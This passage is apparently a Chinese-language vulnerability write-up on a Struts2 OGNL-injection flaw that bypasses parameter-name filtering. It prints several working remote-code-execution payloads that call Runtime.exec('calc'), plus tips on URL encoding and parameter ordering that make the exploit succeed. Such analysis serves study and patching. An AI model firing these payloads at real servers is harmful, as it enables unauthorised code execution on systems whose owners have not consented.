foo=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=new java.lang.Boolean(false), %23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,@java.lang.Runtime@getRuntime().exec(%22calc%22))(lingx5)&top%5B%27foo%27%5D(0)
注意
url 编码不要 把 = 号 和 & 符号 进行编码,不然 ParametersInterceptor 无法识别,分割参数,会导致无法执行
漏洞分析
其实就是 action 里有一个名为 foo 的变量,我们把 ognl 表达式 赋值给它,在通过 struts2 取出,做二次解析

这里就是 foo 和 top['foo'](0) 因为正则表达式 运行 []() '' 这些字符 所以 这个式子可以正常添加进 acceptableParameters 这个 map 中

之后是遍历 acceptableParameters 调用 newStack.setValue(name, value);
先给 action 的 foo 属性赋值


开始执行 top['foo'](0) 了,看到解析为了 ASTEval 表达式,其实和之前就很相似了

还是熟悉的 this._children[0].getValue 把 top 解析为了 ASTProperty 获取了 TestAction 这个类

同样的 foo 获取了 ognl表达式

后续就会来到 ASTEval 的 setValue 方法,之后再把 children[0] 解析成 ASTEval 节点,后续就和 S2-003 一样了
其实主要还是对 acceptedParamNames 这个正则的绕过
还有种 POC 是这样的
foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('calc'))(meh)&z[(foo)('meh')]=true
url 编码后
foo=%28%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29%29%28meh%29&z%5B%28foo%29%28%27meh%27%29%5D=true
也是可以完成利用的

值得注意的是,两个表达式在 TreeMap中的存放顺序,要让 ParametersInterceptor 在setValue时,先去进行 foo 的赋值,在进行后续foo 的读取和执行
就比如我把最后的 z[(foo)('meh')] 改为 a[(foo)('meh')] 就无法执行成功
foo=%28%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29%29%28meh%29&a%5B%28foo%29%28%27meh%27%29%5D=true
参考文章
Struts2-001 漏洞分析(CVE-2007-4556) - 知乎



浙公网安备 33010602011771号